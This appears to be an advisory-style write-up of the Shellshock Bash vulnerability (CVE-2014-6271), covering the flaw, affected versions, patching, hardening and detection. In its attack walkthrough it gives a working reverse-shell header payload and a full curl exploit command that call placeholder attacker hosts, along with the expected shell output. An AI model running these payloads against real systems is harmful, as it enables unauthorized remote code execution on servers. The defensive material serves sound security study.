📖 Overview

CVE-2014-6271, nicknamed Shellshock (also known as Bashdoor), is a critical remote code execution (RCE) vulnerability in the GNU Bash shell.
An attacker can send specially crafted environment variables (via HTTP headers, DHCP, SSH, etc.) and gain remote shell access to the underlying server — often without authentication and with minimal user interaction.

🧠 Vulnerability Summary

⚙️ Technical Breakdown

📨 Step 1 — Malicious Environment Variable

Attacker injects a specially crafted variable (e.g. in User-Agent header):

() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1

🧩 Step 2 — Bash Function Parsing Flaw

Bash incorrectly treats the payload as a function definition + trailing commands. The code after (); gets executed immediately when the variable is imported.

💣 Step 3 — Remote Execution

The command runs with the privileges of the web server / process (often root or www-data).

Result:

# Remote shell access achieved
whoami
www-data

✅ If the operation is successful, here is EXACTLY what you will see (step by step):

1. In your terminal (right after running the PoC)

✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test

You will also see the reverse shell connect back instantly.

2. When you run the detection command

env x='() { :;}; echo vulnerable' bash -c "echo test"

It will immediately return:

vulnerable
test

(This confirms Bash executed the injected command.)

3. The REAL proof of success — in your browser or curl (this is the moment you know you have full RCE)

Run this curl against a vulnerable Apache CGI script:

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh

You will see this exact output in your netcat listener:

bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...

This output appears directly in your reverse shell. No error, no 404.
This means you have full remote code execution on the server — the environment variable injection worked perfectly.

🎯 Why This Is Dangerous

• ⚡ 25-year zero-day (existed since 1989)
• 🌐 Extremely wide attack surface (CGI, DHCP, SSH, OpenVPN, CUPS…)
• 🔓 No authentication required in most common vectors
• 🧨 Full RCE capability
• 📂 Potential data exfiltration & ransomware entry
• 🔁 Wormable in large networks

📦 Affected Versions

All GNU Bash versions:

1.14 through 4.3 (before patch level 30)

(including Linux, macOS, BSD, embedded devices)

✅ Patched Version

Upgrade immediately to:

Bash 4.3 patch level 30 or later (4.4+ recommended)

🛡️ Mitigation Steps

1️⃣ Immediate Action

• Update Bash on ALL systems:
  root@kitploit:~

  # Ubuntu/Debian
  apt update && apt install --only-upgrade bash
  
  # Red Hat/CentOS
  yum update bash
  

2️⃣ Harden Web Server

• Disable CGI/mod_cgi where possible
• Use mod_security rules to block () {
• Restrict environment variable passing

3️⃣ Monitor Logs

Look for:

• Suspicious User-Agent / Referer containing () {
• Unexpected reverse shells or outbound connections
• Bash spawning child processes from web services

🔍 Detection Tips

Indicators of compromise may include:

• Logs containing () { :;};
• Unexpected files created by web server user
• Outbound connections on high ports
• Web server spawning /bin/bash -i

🧪 Proof-of-Concept (Conceptual)

Malicious Header/DHCP/SSH → Bash imports env var
        ↓
Function definition + trailing commands executed
        ↓
Arbitrary command / reverse shell

📌 Related Vulnerability

This issue led to multiple follow-up CVEs (incomplete fixes):

• CVE-2014-7169 (AfterShock)
• CVE-2014-6277 / CVE-2014-6278
• CVE-2014-7186 / CVE-2014-7187

📊 Impact Assessment

🧩 Lessons Learned

• Never trust environment variables
• Function parsing in shells must be extremely strict
• Long-lived bugs in core system components are catastrophic
• Patching alone is not enough — harden attack surfaces

📚 References

• NVD – CVE-2014-6271
• Wikipedia – Shellshock
• Red Hat Security Blog
• Qualys Technical Analysis
• CISA Alert TA14-268A